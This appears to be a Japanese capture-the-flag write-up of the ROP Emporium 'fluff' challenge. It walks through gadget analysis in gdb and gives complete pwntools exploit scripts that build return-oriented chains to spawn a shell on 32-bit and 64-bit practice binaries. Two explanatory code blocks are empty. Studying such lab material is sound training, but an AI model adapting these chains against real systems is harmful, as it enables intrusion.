ROP Emporium fluff writeup

# ROP Emporium

ROPの練習問題集

[ROP Emporium](https://ropemporium.com/)

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

## writeup link

- [ret2win](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)
- [split](https://qiita.com/ham_o_o_/items/a84c90f033f20854ddd8)
- [callme](https://qiita.com/ham_o_o_/items/8aa7055c284feac4f6a1)
- [write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)
- [badchars](https://qiita.com/ham_o_o_/items/14c59aa72cbd9ba9fab0)
- [fluff](https://qiita.com/ham_o_o_/items/42144f50a44daf8afbf5)

## fluff32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

```
# file ./fluff32
./fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped
# 
# 
# ./fluff32 
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> test

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)

```
# nm ./fluff32
0804a030 B __bss_start
0804a068 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a030 D _edata
0804a06c B _end
         U fgets@@GLIBC_2.0
08048704 T _fini
08048718 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
080488e0 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0804879c r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804871c R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
08048700 T __libc_csu_fini
080486a0 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804857b T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080485f6 t pwnme
08048670 T questionableGadgets
080484f0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048480 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a030 D __TMC_END__
0804864c t usefulFunction
080484b0 T __x86.get_pc_thunk.bx
# 
```

usefulFunctionというシンボルがある。
questionableGadgetsという今までにないシンボルがある。

gdbでfluff32を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

nmコマンドで確認できたusefulFunction / questionableGadgetsを見てみる。

usefulFunctionは`/bin/ls`を実行する関数。


```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:	push   ebp
   0x0804864d <+1>:	mov    ebp,esp
   0x0804864f <+3>:	sub    esp,0x8
   0x08048652 <+6>:	sub    esp,0xc
   0x08048655 <+9>:	push   0x8048793
   0x0804865a <+14>:	call   0x8048430 <system@plt>
   0x0804865f <+19>:	add    esp,0x10
   0x08048662 <+22>:	nop
   0x08048663 <+23>:	leave  
   0x08048664 <+24>:	ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x8048793
0x8048793:	"/bin/ls"
gdb-peda$ 
```

questionableGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の４箇所。
`<questionableGadgets +0> - <questionableGadgets +9>`
`<questionableGadgets +10> - <questionableGadgets +19>`
`<questionableGadgets +20> - <questionableGadgets +33>`
`<questionableGadgets +34> - <questionableGadgets +41>`

上記の各Gadgetsでレジスタの値を操作しているが、操作しているレジスタがバラバラなので上手く使えば、ROPが構築できそう。

```
gdb-peda$ pdis questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x08048670 <+0>:	pop    edi
   0x08048671 <+1>:	xor    edx,edx
   0x08048673 <+3>:	pop    esi
   0x08048674 <+4>:	mov    ebp,0xcafebabe
   0x08048679 <+9>:	ret    
   0x0804867a <+10>:	pop    esi
   0x0804867b <+11>:	xor    edx,ebx
   0x0804867d <+13>:	pop    ebp
   0x0804867e <+14>:	mov    edi,0xdeadbabe
   0x08048683 <+19>:	ret    
   0x08048684 <+20>:	mov    edi,0xdeadbeef
   0x08048689 <+25>:	xchg   edx,ecx
   0x0804868b <+27>:	pop    ebp
   0x0804868c <+28>:	mov    edx,0xdefaced0
   0x08048691 <+33>:	ret    
   0x08048692 <+34>:	pop    edi
   0x08048693 <+35>:	mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:	pop    ebp
   0x08048696 <+38>:	pop    ebx
   0x08048697 <+39>:	xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:	ret    
   0x0804869a <+42>:	xchg   ax,ax
   0x0804869c <+44>:	xchg   ax,ax
   0x0804869e <+46>:	xchg   ax,ax
End of assembler dump.
gdb-peda$ 
```

usefulFunctionにsystem関数はあるので、メモリ上に`/bin/sh`を書き込めれば、それを引数としてsystem(/bin/sh)を実行できる。

\<questionableGadgets +35>の`mov DWORD PTR [ecx],edx`を使えば、ecxのアドレスにedxの値を書き込める。
したがって、ecxにメモリ上の書き込み可能なアドレス、edxに`/bin`または`/sh\x00`を格納することを目指す。

```
   0x08048693 <+35>:	mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:	pop    ebp
   0x08048696 <+38>:	pop    ebx
   0x08048697 <+39>:	xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:	ret    
```

まずは、ecxに書き込み可能なアドレスを格納できるようにROP Gadgets構築する。

`xor edx,edx`を実行し、edxの値を0にする。

```
   0x08048671 <+1>:	xor    edx,edx
   0x08048673 <+3>:	pop    esi
   0x08048674 <+4>:	mov    ebp,0xcafebabe
   0x08048679 <+9>:	ret  
```

stackに積んでいる値をebxに格納する。
ここで、書き込み可能なアドレスをstackに積んでおく。

```
```

`xor edx,ebx`を実行し、edxとedxの排他的論理和を計算した結果をedxに格納する。
edxの値は0になっているため、0(edx)とebx排他的論理和の結果はebxになる。
つまり、下記のGadgetではebxの値をedxにコピーしていることになる。

```
   0x0804867b <+11>:	xor    edx,ebx
   0x0804867d <+13>:	pop    ebp
   0x0804867e <+14>:	mov    edi,0xdeadbabe
   0x08048683 <+19>:	ret    
```

[xchg]()命令によって、ecxとedxの値を交換している。

```
   0x08048689 <+25>:	xchg   edx,ecx
   0x0804868b <+27>:	pop    ebp
   0x0804868c <+28>:	mov    edx,0xdefaced0
   0x08048691 <+33>:	ret   
```

これらのGadgetによって、ecxに書き込み可能なアドレスを格納できる。

次に、edxに`/bin`または`/sh\x00`の文字列を格納することを目指す。

`xor edx,edx`を実行し、edxの値を0にする。

```
   0x08048671 <+1>:	xor    edx,edx
   0x08048673 <+3>:	pop    esi
   0x08048674 <+4>:	mov    ebp,0xcafebabe
   0x08048679 <+9>:	ret  
```

stackに積んでいる値をebxに格納する。
ここで、`/bin`または`/sh\x00`をstackに積んでおく。

```
```

`xor edx,ebx`を実行し、edxとedxの排他的論理和を計算した結果をedxに格納する。
edxの値は0になっているため、0(edx)とebx排他的論理和の結果はebxになる。
つまり、下記のGadgetではebxの値をedxにコピーしていることになる。

```
   0x0804867b <+11>:	xor    edx,ebx
   0x0804867d <+13>:	pop    ebp
   0x0804867e <+14>:	mov    edi,0xdeadbabe
   0x08048683 <+19>:	ret    
```

これらのGadgetによって、edxに`/bin`または`/sh\x00`の文字列を格納できる。

`mov DWORD PTR [ecx],edx`を使えば、ecxのアドレスにedxの値を書き込める。

```
   0x08048693 <+35>:	mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:	pop    ebp
   0x08048696 <+38>:	pop    ebx
   0x08048697 <+39>:	xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:	ret    
```

これまで説明してきたGadgetを使用することで、書き込み可能なアドレスに`/bin/sh`を書き込める。
`/bin/sh`が書き込まれたアドレスを引数としてsystemを実行する。


```python
from pwn import *

conn = process('./fluff32')

system_plt_addr=0x08048430

xor_edx_addr=0x08048671 # xor edx,edx ; pop esi ; mov ebp,0xcafebabe ; ret    

xchg_addr=0x08048689 # xchg edx,ecx ; pop ebp ; mov edx,0xdefaced0 ; ret

xor_addr=0x0804867b  # xor edx,ebx ; pop ebp ; mov edi,0xdeadbabe ; ret

mov_ecx_edx_addr=0x08048693 # mov DWORD PTR [ecx] edx ; pop ebp ; pop ebx ; xor BYTE PTR [ecx],bl ; ret

pop_ebx_addr=0x080483e1 # pop ebx ; ret ;

write_mem_addr=0x804a040

payload = 'A'*44

# set write address to ecx
payload += p32(xor_edx_addr)
payload += 'AAAA'  #dummy esi

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

payload += p32(xchg_addr)
payload += 'AAAA' #dummy ebp

# set strings '/bin' to edx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi

payload += p32(pop_ebx_addr)
payload += '/bin'

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

# mov [ecx] edx
payload += p32(mov_ecx_edx_addr)
payload += 'AAAA' #dummy ebp
payload += '\x00\x00\x00\x00' #dummy ebx


# set write address+4 to ecx
payload += p32(xor_edx_addr)
payload += 'AAAA'  #dummy esi

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

payload += p32(xchg_addr)
payload += 'AAAA' #dummy ebp

# set strings '/sh\x00' to edx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi

payload += p32(pop_ebx_addr)
payload += '/sh\x00'

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

# mov [ecx] edx
payload += p32(mov_ecx_edx_addr)
payload += 'AAAA' #dummy ebp
payload += '\x00\x00\x00\x00' #dummy ebx

# system(/bin/sh)
payload += p32(system_plt_addr)
payload += 'AAAA'
payload += p32(write_mem_addr)


conn.sendline(payload)
conn.interactive()
```

```
# python ./fluff32.py 
[+] Starting local process './fluff32': pid 7638
[*] Paused (press any to continue)
[*] Switching to interactive mode
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> $ ls
core  flag.txt    fluff32  fluff32.py  peda-session-fluff32.txt
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
$ 
```


## fluff writeup

fluffの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

```
# ./fluff 
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
> test

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)


```
# nm ./fluff
0000000000601060 B __bss_start
0000000000601088 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601060 D _edata
0000000000601090 B _end
                 U fgets@@GLIBC_2.2.5
00000000004008d4 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400ad8 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400964 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008e0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
00000000004008d0 T __libc_csu_fini
0000000000400860 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
0000000000400820 T questionableGadgets
00000000004006c0 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
0000000000601080 B stderr@@GLIBC_2.2.5
0000000000601070 B stdin@@GLIBC_2.2.5
0000000000601060 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601060 D __TMC_END__
0000000000400807 t usefulFunction
# 
```

usefulFunctionとquestionableGadgetsという今シンボルがある。

gdbでfluffを解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

nmコマンドで確認できたusefulFunction / questionableGadgetsを見てみる。

usefulFunctionは/bin/lsを実行する関数。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:	push   rbp
   0x0000000000400808 <+1>:	mov    rbp,rsp
   0x000000000040080b <+4>:	mov    edi,0x40095b
   0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:	nop
   0x0000000000400816 <+15>:	pop    rbp
   0x0000000000400817 <+16>:	ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x40095b
0x40095b:	"/bin/ls"
gdb-peda$ 
```

questionableGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の４箇所。
`<questionableGadgets +0> - <questionableGadgets +12>`
`<questionableGadgets +13> - <questionableGadgets +26>`
`<questionableGadgets +27> - <questionableGadgets +43>`
`<questionableGadgets +44> - <questionableGadgets +56>`


```
gdb-peda$ pdis questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x0000000000400820 <+0>:	pop    r15
   0x0000000000400822 <+2>:	xor    r11,r11
   0x0000000000400825 <+5>:	pop    r14
   0x0000000000400827 <+7>:	mov    edi,0x601050
   0x000000000040082c <+12>:	ret    
   0x000000000040082d <+13>:	pop    r14
   0x000000000040082f <+15>:	xor    r11,r12
   0x0000000000400832 <+18>:	pop    r12
   0x0000000000400834 <+20>:	mov    r13d,0x604060
   0x000000000040083a <+26>:	ret    
   0x000000000040083b <+27>:	mov    edi,0x601050
   0x0000000000400840 <+32>:	xchg   r11,r10
   0x0000000000400843 <+35>:	pop    r15
   0x0000000000400845 <+37>:	mov    r11d,0x602050
   0x000000000040084b <+43>:	ret    
   0x000000000040084c <+44>:	pop    r15
   0x000000000040084e <+46>:	mov    QWORD PTR [r10],r11
   0x0000000000400851 <+49>:	pop    r13
   0x0000000000400853 <+51>:	pop    r12
   0x0000000000400855 <+53>:	xor    BYTE PTR [r10],r12b
   0x0000000000400858 <+56>:	ret    
   0x0000000000400859 <+57>:	nop    DWORD PTR [rax+0x0]
End of assembler dump.
gdb-peda$ 
```

ここらは、fluff32と同様の考えでROPを組む。
\<questionableGadgets +46>の`mov    QWORD PTR [r10],r11`を使用して書き込み可能なアドレスに`/bin/sh¥00`を入力することを目指す。

まずは、`r10`に書き込み可能なアドレス、`r11`に`/bin/sh¥00`を格納するgadgetを組む。

`/bin/sh¥00`を書き込んだアドレスを`pop rdi`のgadgetを使用してrdiに格納し、systemを呼び出すことでsystem(/bin/sh)を実行させる。


```python
from pwn import *

conn = process('./fluff')

system_plt_addr=0x4005e0

xor_r11_addr=0x400822 # xor r11,r11 ; pop r14 ; mov edi,0x601050 ; ret

xor_r11_r12_addr=0x40082f # xor r11,r12 ; pop r12 ; mov edi,0x604060

xchg_r11_r10_addr=0x400840 # xchg r11,10 ; pop r15 ; mov r11d,0x602050

mov_r10_r11_addr=0x40084e # mov QWORD PTR [r10] r11 ; pop r13 ; pop r12 ; ret

pop_rdi_addr=0x004008c3 # pop rdi ; ret

pop_r12_addr=0x00400832 # pop r12 ; mov r13d, 0x00604060 ; ret 

write_mem_addr=0x601060

payload = 'A'*40

# set write address r10
payload += p64(xor_r11_addr)
payload += p64(0)
payload += p64(pop_r12_addr)
payload += p64(write_mem_addr)
payload += p64(xor_r11_r12_addr)
payload += p64(0)
payload += p64(xchg_r11_r10_addr)
payload += p64(0)

# set strings '/bin/sh\x00' to r11
payload += p64(pop_r12_addr)
payload += '/bin/sh\x00'
payload += p64(xor_r11_addr)
payload += p64(0)
payload += p64(xor_r11_r12_addr)
payload += p64(0)

# mov [r10] r11
payload += p64(mov_r10_r11_addr)
payload += p64(0)
payload += p64(0)


# system(/bin/sh)
payload += p64(pop_rdi_addr)
payload += p64(write_mem_addr)
payload += p64(system_plt_addr)


pause()
conn.sendline(payload)
conn.interactive()
```

```
# python ./fluff.py 
[+] Starting local process './fluff': pid 8582
[*] Paused (press any to continue)
[*] Switching to interactive mode
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
> $ ls
core  flag.txt    fluff  fluff.py  peda-session-fluff.txt
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
```